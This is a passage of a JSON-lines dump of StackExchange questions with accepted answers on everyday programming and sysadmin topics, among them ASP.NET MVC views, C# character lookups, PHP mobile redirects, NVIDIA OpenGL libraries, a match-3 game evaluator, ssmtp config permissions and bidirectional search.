context.SaveChanges();            ViewBag.ResultMessage = Resources.RoleCreatedSuccessfully;            return RedirectToAction(RoleIndex);        }and RoleCreate.cshtml view@model RoleCreateViewModel@{    ViewBag.Title = Resources.CreateRole;}<h2>@Resources.CreateRole</h2><hr /> <div class=row>    <div class=col-md-8>        <section id=createRoleForm>            @using (Html.BeginForm(RoleCreate, Admin, new { ReturnUrl = ViewBag.ReturnUrl }, FormMethod.Post, new { @class = form-horizontal, role = form }))            {                @Html.AntiForgeryToken()                @Html.ValidationSummary(true)                <div class=form-group>                    @Html.LabelFor(m => m.Name, new { @class = col-md-2 control-label })                    <div class=col-md-10>                        @Html.TextBoxFor(m => m.Name, new { @class = form-control })                        @Html.ValidationMessageFor(m => m.Name, , new { @class = text-danger })                    </div>                </div>                <div class=form-group>                    <div class=col-md-offset-2 col-md-10>                        <input type=submit value=@Resources.Save class=btn btn-default />                    </div>                </div>            }        </section>    </div></div>Please do critique."  , "title": "MVC app to associate users with roles"  , "tags": "c#;html;mvc;asp.net;authorization"  , "accepted_answer": "Well, there's a lot there. I'll give some feedback on the Users bit.I wouldn't call DisplayRoles in cshtml either. I would use a view model for that page. It would have an int, UserId, and 2 strings, UserName and UserRoles, and the page would use a list or ienumerable of that view model. Then in your Get for the Index, create the view model from each user and build up the collection. Pretty straightforward using LINQ. For the 2 buttons in your table, can't you just use ActionLink? Yes it makes sense to have Get and Post for same action. But your Get for assigning roles would just take the user Id. Your Post would accept your view model, then you don't have to change the name in order to make it unique."  } 
{  "id": "_codereview.62637"  , "question": "I saw this codegolf challenge and I set out to try and write a solution for it. I'm nowhere near an expert codegolfer (or programmer), but it was an interesting exercise.Now I'm wondering how to improve my code, as it feels really bulky (especially compared to some of the answers to the challenge). Note that I'm not looking for ways to golf this code, I'm merely looking for general improvements and optimizations, hints and tips.I hope the title is clear as to what the program does, it was pretty hard to describe!Anyway, what my program does is pretty simple:It accepts a string as inputIt then fetches the index of each char in the string from the arrayIt checks if that char is within a certain rangeEach range corresponds with a classic mobile phone button (0,1,2 = A,B,C)The current button is compared to the previously used buttonIf the buttons match, the string does not pass and it returns falseMy code:int previousButton = -1;char[] letters ={    'a', 'b', 'c',       // 2    'd', 'e', 'f',       // 3    'g', 'h', 'i',       // 4    'j', 'k', 'l',       // 5    'm', 'n', 'o',       // 6    'p', 'q', 'r', 's',  // 7    't', 'u', 'v',       // 8    'w', 'x', 'y', 'z',  // 9    ' '                  // 0};for (int i = 0; i < line.Length; i++) {    char currentLetter = line[i];    int index = Array.IndexOf(letters, currentLetter);    int currentButton = 1;    if (index >= 0 && index <= 2) {        currentButton = 2;    } else if (index >= 3 && index <= 5) {        currentButton = 3;    } else if (index >= 6 && index <= 8) {        currentButton = 4;    } else if (index >= 9 && index <= 11) {        currentButton = 5;    } else if (index >= 12 && index <= 14) {        currentButton = 6;    } else if (index >= 15 && index <= 18) {        currentButton = 7;    } else if (index >= 19 && index <= 21) {        currentButton = 8;    } else if (index >= 22 && index <= 25) {        currentButton = 9;    } else if (index == 26) {        currentButton = 0;    }    if (previousButton == currentButton) {        return false;    }    previousButton = currentButton;}return true;"  , "title": "Compare the index of each char in a string in an alphabet array to a range of numbers"  , "tags": "c#;strings;array"  , "accepted_answer": "There are two alternatives I can recommend, one alternative avoids all the if/else/if cascading, and replaces it with a single 'switch' statement. Switch statements are optimized at compile time so that, effectively, each char/operation takes as long as any other. it makes sense to extract that to a function too.The second alternative is to trade code space, for memory space.First though, improving your current solution...Current versionYour current version has a lot of unnecessary conditions in the cascading if/else system.If you check for 'low' values first, then you can assume the next value's lower range is already handled. It is easier to explain this by example.... you have:if (index >= 0 && index <= 2) {    currentButton = 2;} else if (index >= 3 && index <= 5) {    currentButton = 3;} else if (index >= 6 && index <= 8) {But this will produce the same results, with half the comparisons:if (index < 0){    currentButton = 1; //invalid index, char not found?}else if (index <= 2){    currentButton = 2;}else if (index <= 5){    currentButton = 3;}else if (index <= 8){Note how I have also used the conventional C# style there for the braces....1. Switch:A switch statement can work on chars:switch (currentLetter){    case 'a':    case 'b':    case 'c':        return 2;    case 'd':    case 'e':    case 'f':        return 3;    .....    default:        return 1; // whatever you need for an invalid char}The above code (included in a function) will encode each char to a key, and unmapped chars will return 1.2. In memory lookupA second common way to do this is to prepopulate an array with the indexes for each char:int[] keys = new int[]{2,2,2,3,3,3,4,4,4,5,5,5,6,6,6,7,7,7,7,8,8,8,9,9,9,9};Then use that array as a simple lookup:if (currentChar < 'a' || currentChar > 'z'){    return 1;}return keys[currentChar - 'a'];That converts the char to an offset in the keys array. I have taken the liberty of coding this up in Ideone to ensure it works (which it does, except for the handling of space characters)"  } 
{  "id": "_webmaster.15115"  , "question": "A friend of mine is an architect starting her own business, and needs to build a basic brochure site to promote herself. The site will simply include a few articles and pictures of projects she worked on.There are so many CMS that it's hard to choose on, but the following are basic requirements:- Open-source- Mature, and with good support- In PHP, since just about any hoster supports PHP- DB-free, to make deployment really basic. If the SCM really does need a database for indexing, SQLite is OK- Good UI so she can easily add articles and photos to her site without having to know any HTML/CSS- Nice templates to choose fromThank you."  , "title": "Open-source, PHP, DB-free SCM for brochure site?"  , "tags": "php;cms"  , "accepted_answer": "Use WordPress.  It's written in PHP, offers CMS features, and has a large ecosystem of themes and plugins.  See the list of recommended WordPress hosts.For SCM, most good hosts will support Subversion, Git, or both."  } 
{  "id": "_webmaster.83791"  , "question": "I had a separate mobile site uploaded so as to make Google happy. My big problem is that I had a desktop page that was once showing in the top 3 results on Google, and now it and its mobile alternative are showing up on the 3rd page or worse.My structure is as follows. The desktop file is www.myserver.com/pellet-calculator.php. The mobile file is www.myserver.com/pelletcalculator.php. I have a PHP redirection working beautifully on the desktop file, placed at the very top of the page, in the following format:<?php     $url = 'http://m.myserver.com/pelletcalculator.php';    // only check if the desktop cookie isn't present    if(!isset($_COOKIE['mobile'])) {        $useragent=$_SERVER['HTTP_USER_AGENT'];        if(preg_match('/(android|bb\\d+|meego).+mobile|avantgo|bada\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i',$useragent)||preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-/i',substr($useragent,0,4))) {            header('Location: '.$url.'');        }    }?>In my bid to resolve this issue, I did some reading. I didn't have any of the links as suggested by Google on their Separate URL's page (https://developers.google.com/webmasters/mobile-sites/mobile-seo/configurations/separate-urls?hl=en). I have therefore now added the following links to each file, directly under the <title> tags:// following link on the desktop page<link rel=alternate media=only screen and (max-width: 640px) href=http://m.myserver.com/pelletcalculator.php >// following link on the mobile page<link rel=canonical href=http://www.myserver.com/pellet-calculator.php >However I'm now worried about 2 things?1) I'm now worried about my redirect. Google mentioned that Googlebot support javascript redirection, and I'm using PHP redirection. Should I get rid of the above redirect code and replace it with an equivalent javascript code? And if so, where should I place this javascript? Should it be placed above or below the <link> code above?2) The alternative link above mentions media=only screen and (max-width: 640px), but what if I want to specify all mobile browsers? How should I then rewrite this.Many thanks for all and any advice."  , "title": "Strategy for mobile redirection and using alternative and canonical links"  , "tags": "seo;googlebot"  } 
{  "id": "_unix.218182"  , "question": "Several weeks ago I installed Kali Linux on my laptop (Asus X53BR). I installed it successfully but the when system started, I only had a command line and no login manager (gdm3) running. I have tried everything to fix it; I updated and upgraded system and gdm3 several times. Nothing worked and I gave up. Yesterday, I tried installation one more time. Same problem but this time I tried every method to fix this on first five pages on Google but nothing worked. And suddenly Gnome started and graphical desktop appeared. I have no idea how. But after restart the same problem: only command window. Please help me solve this problem.Details:When gdm accidentally started, I was trying to connect to the internet using the command prompt. After this accident, I reviewed my command history and there were gnome3 typed in the command window. I don't remember if I typed it or what. But any other time when I was trying run gdm3, I got this error: failed acquire org.gnome.DisplayManager and something like this on second line. As I searched there could be permission issue at /etc/dbus-1/system.d/gdm.conf as I remember. But I was logged in as root and also changed permission to allow any user access to it but nothing changed. I also examined that conf file and there were html-like scripts mentioning gdm3 running permissions. But I don't know exactly what those scripts mean."  , "title": "Gnome 3 doesn't run on Kali Linux"  , "tags": "kali linux;gdm3"  } 
{  "id": "_unix.385994"  , "question": "Last NVidia update in the Debian unstable branche (375.82) broke the symlinks of the openGL libs.LIBGL_DEBUG=verbose glxinfo|greplibGL: screen 0 does not appear to be DRI2 capablelibGL: OpenDriver: trying /usr/lib/x86_64-linux-gnu/dri/tls/swrast_dri.solibGL: OpenDriver: trying /usr/lib/x86_64-linux-gnu/dri/swrast_dri.solibGL: dlopen /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so failed (/usr/lib/x86_64-linux-gnu/dri/swrast_dri.so: cannot open shared object file: No such file or directory)libGL: OpenDriver: trying ${ORIGIN}/dri/tls/swrast_dri.solibGL: OpenDriver: trying ${ORIGIN}/dri/swrast_dri.solibGL: dlopen ${ORIGIN}/dri/swrast_dri.so failed (${ORIGIN}/dri/swrast_dri.so: cannot open shared object file: No such file or directory)libGL: OpenDriver: trying /usr/lib/dri/tls/swrast_dri.solibGL: OpenDriver: trying /usr/lib/dri/swrast_dri.solibGL: dlopen /usr/lib/dri/swrast_dri.so failed (/usr/lib/dri/swrast_dri.so: cannot open shared object file: No such file or directory)libGL error: unable to load driver: swrast_dri.solibGL error: failed to load driver: swrastX Error of failed request:  GLXBadContext  Major opcode of failed request:  154 (GLX)  Minor opcode of failed request:  6 (X_GLXIsDirect)  Serial number of failed request:  48  Current serial number in output stream:  47sudo ldconfig -p | grep -i gl.so    libwayland-egl.so.1 (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libwayland-egl.so.1libcogl.so.20 (libc6,x86-64) => /usr/lib/x86_64-linux-gnu/libcogl.so.20libGL.so.1 (libc6,x86-64) => /usr/local/lib/libGL.so.1I have no experience with symlinks and I can't find this problem online solved without using docker or installing the bin version. The latter would break my CUDA/Tensorflow setup due to libs not being compatible with the .bin version."  , "title": "Nvidia Opengl symlinks"  , "tags": "debian;symlink;nvidia;opengl"  } 
{  "id": "_codereview.74221"  , "question": "I've been prototyping a Match 3 game (Bejeweled clone) because I have an interesting concept for one, and because it is good practice.  One key aspect of my version is that the matches must contain one of the swapped orbs.  Therefore matches elsewhere on the board do not get destroyed (and for now there are no combos).To solve this, I devised a special algorithm that searches for matches starting with the positions of the swapped orbs.Since this is a naive implementation of Match 3, I am sure that there are lots of problems with the code and especially with the algorithm.Here is the initial evaluation that happens when a player tries to swap two orbs:-(BOOL) swapOrb:(DMOrb *)firstOrb withOrb:(DMOrb *)secondOrb {    //if its the same orb, fail    if ([firstOrb isEqual:secondOrb]) {        return  NO;   }   //check and make sure that the orbs are next to each other    if (![self orbAdjacent:firstOrb toOrb:secondOrb]) {        return NO;    }    //potentially check and make sure they are not the same color here    //makes a copy of the board inside the eval class    _boardEval.board = self.board;    //actually moves the pieces, but will only save the new board if there is a match    if ([_boardEval swapHasMatchesForOrb:firstOrb withOrb:secondOrb]) {        [_boardEval resolveSwapBetweenPosition:firstOrb.boardPosition position:secondOrb.boardPosition];        self.board = _boardEval.board;        return YES;    }    return NO;}And here is the board evaluator class. It is possible that all of this class should simply be in the GameBoard class, but I am unsure. Right now the Game class has both the GameBoard and the BoardEvaluator, and processes the moves of the game sent by the UI.DMBoardEval.h#import <Foundation/Foundation.h>#import DMGameBoard.h@interface DMBoardEval : NSObject@property (nonatomic) DMGameBoard *board;-(BOOL) swapHasMatchesForOrb:(DMOrb *)firstOrb withOrb:(DMOrb *)secondOrb;-(void) resolveSwapBetweenPosition:(CGPoint)firstPosition position:(CGPoint)secondPosition;@endDMBoardEval.m#import DMBoardEval.h#import DMRow.h#import DMColumn.hstatic const int kNumOrbsPerRow = 9;@implementation DMBoardEval#pragma mark - Copy Board-(void) setBoard:(DMGameBoard *)board {    _board = [DMGameBoard boardWithBoard:board];}#pragma mark - Swap Orbs-(BOOL) swapHasMatchesForOrb:(DMOrb *)firstOrb withOrb:(DMOrb *)secondOrb {    [_board swapOrb:firstOrb withOrb:secondOrb];    //dont need to switch them back because the board will be kept if there are matches and discarded if not    //[_board swapOrb:secondOrb withOrb:firstOrb];    return [self findMatchesInBoardForPosition:firstOrb.boardPosition secondPosition:secondOrb.boardPosition];}#pragma mark - Quick Search for Matches-(BOOL) findMatchesInBoardForPosition:(CGPoint)firstPos secondPosition:(CGPoint)secondPos {    DMRow *firstRow = _board.rows[(int)firstPos.y];    DMOrb *firstOrb = firstRow.orbs[(int)firstPos.x];    DMRow *secondRow = _board.rows[(int)secondPos.y];    DMOrb *secondOrb = secondRow.orbs[(int)secondPos.x];    if ([self findMatchesForOrb:firstOrb] ||        [self findMatchesForOrb:secondOrb]) {        return YES;    }    return NO;}-(BOOL) findMatchesForOrb:(DMOrb *)orb {    if ([self searchRowForMatchesWithOrb:orb]) {        return YES;    }    if ([self searchColumnForMatchesWithOrb:orb]) {        return YES;    }    return NO;}-(BOOL) searchRowForMatchesWithOrb:(DMOrb *)orb {    DMRow *row = _board.rows[(int)orb.boardPosition.y];    //search right in row    BOOL otherColorFound = NO;    int numberOfOrbs = 0;    for (int i = orb.boardPosition.x; i < kNumOrbsPerRow; i++) {        if (!otherColorFound) {            if (orb.type == ((DMOrb *)row.orbs[i]).type) {                numberOfOrbs++;            } else {                otherColorFound = YES;            }        }    }    if (numberOfOrbs >= 3) {        return YES;    }    //search left in row    otherColorFound = NO;    numberOfOrbs = numberOfOrbs - 1; //because it is going to count self again    for (int i = orb.boardPosition.x; i >= 0; i--) {        if (!otherColorFound) {            if (orb.type == ((DMOrb *)row.orbs[i]).type) {                numberOfOrbs++;            } else {                otherColorFound = YES;            }        }    }    if (numberOfOrbs >= 3) {        return YES;    }    return NO;}-(BOOL) searchColumnForMatchesWithOrb:(DMOrb *)orb {    //create columns    NSMutableArray *columns = [[NSMutableArray alloc]init];    for (int i = 0; i < kNumOrbsPerRow; i++) {        [columns addObject:[[DMColumn alloc]initWithRows:_board.rows number:i]];    }    DMColumn *column = columns[(int)orb.boardPosition.x];    //search up in column    BOOL otherColorFound = NO;    int numberOfOrbs = 0;    for (int i = orb.boardPosition.y; i < kNumOrbsPerRow; i++) {        if (!otherColorFound) {            if (orb.type == ((DMOrb *)column.orbs[i]).type) {                numberOfOrbs++;            } else {                otherColorFound = YES;            }        }    }    if (numberOfOrbs >= 3) {        return YES;    }    //search down in column    otherColorFound = NO;    numberOfOrbs = numberOfOrbs - 1; //because it is going to count self again    for (int i = orb.boardPosition.y; i >= 0; i--) {        if (!otherColorFound) {            if (orb.type == ((DMOrb *)column.orbs[i]).type) {                numberOfOrbs++;            } else {                otherColorFound = YES;            }        }    }    if (numberOfOrbs >= 3) {        return YES;    }    return NO;}#pragma mark - Resolve Move-(void) resolveSwapBetweenPosition:(CGPoint)firstPos position:(CGPoint)secondPos {    DMRow *firstRow = _board.rows[(int)firstPos.y];    DMOrb *firstOrb = firstRow.orbs[(int)firstPos.x];    [self markMatchesForOrb:firstOrb];    DMRow *secondRow = _board.rows[(int)secondPos.y];    DMOrb *secondOrb = secondRow.orbs[(int)secondPos.x];    [self markMatchesForOrb:secondOrb];    [self destroyMarkedOrbs];}-(void) destroyMarkedOrbs {    for (DMRow *row in _board.rows) {        for (DMOrb *orb in row.orbs) {            if (orb.markedForDestruction) {                //placeholder until block settling is in place                orb.type = DMOrbTypeNumTypes;            }        }    }}#pragma mark - Mark Complete Matches-(void) markMatchesForOrb:(DMOrb *)orb {    [self markRowForMatchesWithOrb:orb];    [self markColumnForMatchesWithOrb:orb];}-(void) markRowForMatchesWithOrb:(DMOrb *)orb {    DMRow *row = _board.rows[(int)orb.boardPosition.y];    //search right in row    BOOL otherColorFound = NO;    NSMutableSet *orbsToMark = [[NSMutableSet alloc]init];    for (int i = orb.boardPosition.x; i < kNumOrbsPerRow; i++) {        if (!otherColorFound) {            DMOrb *nextOrb = row.orbs[i];            if (orb.type == nextOrb.type) {                [orbsToMark addObject:nextOrb];            } else {                otherColorFound = YES;            }        }    }     //search left in row    otherColorFound = NO;    for (int i = orb.boardPosition.x; i >= 0; i--) {        if (!otherColorFound) {            DMOrb *nextOrb = row.orbs[i];            if (orb.type == nextOrb.type) {                [orbsToMark addObject:nextOrb];            } else {                otherColorFound = YES;            }        }    }    //mark the appropriate orbs    if (orbsToMark.count >= 3) {        for (DMOrb *orb in orbsToMark) {            orb.markedForDestruction = YES;        }    }}-(void) markColumnForMatchesWithOrb:(DMOrb *)orb {    //create columns    NSMutableArray *columns = [[NSMutableArray alloc]init];    for (int i = 0; i < kNumOrbsPerRow; i++) {        [columns addObject:[[DMColumn alloc]initWithRows:_board.rows number:i]];    }    DMColumn *column = columns[(int)orb.boardPosition.x];    //search up in column    BOOL otherColorFound = NO;    NSMutableSet *orbsToMark = [[NSMutableSet alloc]init];    for (int i = orb.boardPosition.y; i < kNumOrbsPerRow; i++) {        if (!otherColorFound) {            DMOrb *nextOrb = column.orbs[i];            if (orb.type == nextOrb.type) {                [orbsToMark addObject:nextOrb];            } else {                otherColorFound = YES;            }        }    }    //search down in column    otherColorFound = NO;    for (int i = orb.boardPosition.y; i >= 0; i--) {        if (!otherColorFound) {            DMOrb *nextOrb = column.orbs[i];            if (orb.type == nextOrb.type) {                [orbsToMark addObject:nextOrb];            } else {                otherColorFound = YES;            }        }    }    //mark the appropriate orbs    if (orbsToMark.count >= 3) {        for (DMOrb *orb in orbsToMark) {            orb.markedForDestruction = YES;        }    }}@endThere is a bit of code duplication inside the BoardEval class in the methods that search for a match and the methods that mark the orbs that will be destroyed due to a match.  I could not figure out a good solution for this. I wanted the search for any match to return as soon as it found one, because any match will cause a swap to be valid.  It is only after the swap is valid that it needs to calculate all of the orbs that will be destroyed.  Part of the reason for this setup is that the UI will animate an attempted swap when a swap is invalid, and will otherwise animate the completed swap. However, my approach may not be the best way to approach the problem."  , "title": "Board Evaluator for Bejeweled Clone"  , "tags": "game;objective c"  , "accepted_answer": "This can be 100% eliminated:-(void) setBoard:(DMGameBoard *)board {    _board = [DMGameBoard boardWithBoard:board];}And instead, change the property declaration to look like this:@property (copy) DMGameBoard *board;I'd rewrite this method:-(BOOL) findMatchesForOrb:(DMOrb *)orb {    if ([self searchRowForMatchesWithOrb:orb]) {        return YES;    }    if ([self searchColumnForMatchesWithOrb:orb]) {        return YES;    }    return NO;}As this (notice I'm also renaming... find matches implies we'll return matches):- (BOOL)hasMatchesForOrb:(DMOrb *)orb {    return [self searchRowForMatchesWithOrb:orb] ||         [self searchColumnForMatchesWithOrb:orb];}for (int i = orb.boardPosition.x; i < kNumOrbsPerRow; i++) {    if (!otherColorFound) {        if (orb.type == ((DMOrb *)row.orbs[i]).type) {            numberOfOrbs++;        } else {            otherColorFound = YES;        }    }}if (numberOfOrbs >= 3) {    return YES;}This is just a subsection of one of your methods, but it's a little confusing.  Let' see if we can clear it up and make it a little more efficient.for (int i = orb.boardPosition.x; i < kNumOrbsPerRow; ++i) {    if (orb.type == ((DMOrb *)row.orbs[i]).type) {        if (++numOrbs >= 3) {            return YES;        }    } else {        break;    }}This pattern can be applied in 3 other places.  This pattern eliminates the otherColorFound variable and saves us a lot of iterations.  Consider if your row is say 20 orbs wide, and I move an orb into the 20th spot.  Your original implementation will iterate 20 times no matter what.  With this implementation, we stop as soon as we find a different .type or as soon as we find 3 in a row."  } 
{  "id": "_unix.163601"  , "question": "I'm just starting with my own Virtual Server (and Linux). I've an apache2 and a few WordPress sites. I need to send mails via PHP (contact forms). I managed to install ssmtp with the help of a few tutorials. It sends mail with an gmail account. I'm not sure about the right permissions of the ssmtp.conf: When I chmod 600 /etc/ssmtp/ssmtp.conf I cant't send mails from the commandline, php-contact forms are also not working.When I chmod 640 /etc/ssmtp/ssmtp.conf I can send mails from the commandline, but php-contact forms are not working.When I chmod 666 /etc/ssmtp/ssmtp.conf I can't send mails from the commandline and php-contact forms are working fine.Obviously I would like to stay with 666, but I'm not sure if this could be a security problem. "  , "title": "Permissions for /etc/ssmtp/ssmtp.conf"  , "tags": "permissions;ssmtp"  , "accepted_answer": "It appears that you have your Gmail password in the configuration file so you would want the the third number to be 0 (No permissions to Others). Ideal is 640. You can change the ownership of the configuration file (using the command chown) e.g. chown root:mail /etc/ssmtp/ssmtp.conf. You can send from the command line using sudo or as root. Your web server user also need to be a member of group mail. Or you can change that to root:www-data if the user group of the web server is www-data."  } 
{  "id": "_cs.1113"  , "question": "I am trying to implement bidirectional search in a graph. I am using two breadth first searches from the start node and the goal node. The states that have been checked are stored in two hash tables (closed lists).How can I get the solution (path from the start to the goal), when I find that a state that is checked by one of the searches is in the closed list of the other?EDIT Here are the explanations from the book:Bidirectional search is implemented by having one or both of the searches check eachnode before it is expanded to see if it is in the fringe of the other search tree; if so, a solution has been found... Checking a node for membership in the other search tree can be done in constant time with a hash table...Some pages before: A node is a boolkkeeping data structure used to represent the search tree. A state corresponds to a configuration of the world... two different nodes can contain the same world state, if that state is generated via two different search paths. So from that I conclude that if nodes are kept in the hash tables than a node from the BFS started from the start node would not match a node constructed from the other BFS started from the goal node.And later in general Graph search algorithm the states are stored in the closed list, not the nodes, but it seems to me that even that the states are saved in the hash tables after that the nodes are retrieved from there."  , "title": "How to construct the found path in bidirectional search"  , "tags": "algorithms;graphs;shortest path"  , "accepted_answer": "Let me give this question a try. I am not sure I do fully understand it so I was considering to post a comment but in the end, I preferred to try an explanation. Hope it helps!Raphael already suggested a solution (so I voted up his comment) which works even if you only store states instead of nodes. To make it clear: states: those in the original problem. These are uniquenodes: those enumerated by your search algorithm (bidirectional breadth-first search in your case). As stated in your book two different nodes can contain the same world state, if that state is generated via two different search paths so that it is very likely to have more nodes than states (since the former distinguish states by the different paths ---which can be exponentially large--- that lead to the same state).Obviously, the path from the start state $s$ to the target $t$ is computed by concatenating the paths from $s$ to $n$ and from $n$ to $t$ where $n$ is the node that was found in the hash table of the opposite search.Now, assuming you are using a consistent-heuristic function (a heuristic function $h (n)$ is said to be consistent if and only if it satisfies the triangular inequality $h(n) \\leq c(n,m) + h(m)$ where $c(n,m)$ is the cost of the operator from node $n$ to one of its offsprings $m$) or no heuristic function at all (so that your BFS is a blind search) let me suggest the following procedure: Let me assume wlg that $n$ was generated by the forward search (i.e., from the start state $s$) and that it was found in the hash table of the backward search (i.e., the one issued from the goal node). In this case it suffices to expand the node $n$ and to select any descendant that appears also in the hash table of the backward search. You can do this since you are storing all states (instead of nodes) in both hash tables. No matter of the difference between nodes and states, if you generated $n$ in the backward search (which results from the fact that it is stored in the hash table) it had to be done via one of its parents which can be recovered now as one of its descendants (assuming you are traversing undirected graphs, otherwise just apply the inverse operators to recover the parents). Acting like this you will eventually get to the target node.The same mechanism applies to the forward search ---i.e., no need to store with each node its path to the start node, just use the closed list implemented as a hash table. Reverse the path obtained in the previous paragraph, concatenate them and there you are a solution path.If you are not using a consistent heuristic function, then you should store along each node in the hash table its value $g(n)$ ---i.e., the cost of the path from its corresponding root node, either $s$ or $t$. Doing so, the previous procedure is just slightly modified by selecting the parent (now generated as a successor) whose $g$ value is $g(n)-1$. However, this is not even necessary in case you are seeking (as it seems) any path from $s$ to $t$.Bidirectional search is one of the most intriguing paradigms in heuristic search. Noone has already found a simple way that makes it as efficient as in the case of blind search (where it is clearly a winner).Hope this helps,"  } 
{  "id": "_softwareengineering.250833"  , "question": "A friend has written a programming language. It has a syntax reminiscent of SGML. He has written an interpreter for it, and an IDE. He and his colleagues use it in-house as a server-side language. It can also be used to write command-line tools. He wants to make it available to the public, in the expectation that people will purchase a license to use it. He wants to keep the code expressing the language implementation to himself, as there's a fair bit of intellectual property tied up in it. I keep telling him that the day of closed-source programming languages is gone. I say, Look at all the major languages: the vast majority are open-source. You're going to have to go open-source too if you want anyone outside the company to pay any attention to what you've built.Am I giving him good advice or is there still room for proprietary languages that you pay for?LATERDen asked, ... could you please also explain how a language can be closed-source?I said, @Den you make a good point. What my friend wants to avoid, I suppose, is the situation where Microsoft cooks up a Java-alike language, calls it J++ and then gets into litigation with Sun about its Java-ness. How do you protect a syntax and a programming methodology from being hijacked by a company whose implementation could put you out of business?"  , "title": "Can a closed-source programming language survive?"  , "tags": "programming languages;open source;closed source"  , "accepted_answer": "The answer is yes, and no. It depends on the commercial motivations of potential customers and the attributes of the language and the problems it solves.No, the world does not need another general purpose computing language created by an individual or a small team. When Perl, Python, Ruby, Java and Javascript and were created there was a vacuum to fill, proprietary languages were expensive and the barrier to entry was low. Rebol is one that started off paid and is now free. Look at C# and Go to see how much harder it is now and how much bigger the teams are, even for languages that are more or less free.But yes, the world badly needs niche languages to fill a whole range of specific roles and will pay well for them. I can't quote you examples because neither you nor I have ever heard of most of them, but they are being used routinely in highly specialised situations and they make money for their creators. Solve a problem and you will get paid.So for your friend to make money he needs one or more of three things.An identifiable technical niche for which his language is the best available solution, preferably with a reasonably high barrier to entry to slow down competitors.An identifiable customer segment with a problem his language can solve as well as the capacity to pay for it to be solved.A body of pre-written code, documentation, tutorials and skills that will allow customers to put it to work immediately and start solving problems immediately.Problems mentioned in relying on small companies are not unique to programming languages, and are easily resolved by commercial means.Disclosure: I am the author of a commercial programming language system (Powerflex) that helped a lot of people build software businesses. That window closed as the Internet window opened."  } 
{  "id": "_webmaster.107524"  , "question": "I'm using Joomla as CMS. It allows appending the website name before or after the actual site name. So I do it after the site name. If I put the main keyword in the website name, it will be appended to every page title after the site name.Is it better to remove the appending of the same phrase (website name/product name and so on) to every page? I'm afraid the main keyword which if indexed quite good will lose ranking if I use it only in a few pages."  , "title": "For SEO, should I append the site's main keyword to the title tag of every page?"  , "tags": "seo;title"  , "accepted_answer": "Your website title shouldn't contain the same set of keywords on every page.Appending the business name at the end is OK.Try to create a unique title for every page based on what the page is all about. In some pages, you may have covered more keywords in that case you may not have space to append the business name at the end so you don't need to.Do not append set of keywords at the end in every page meta title."  } 
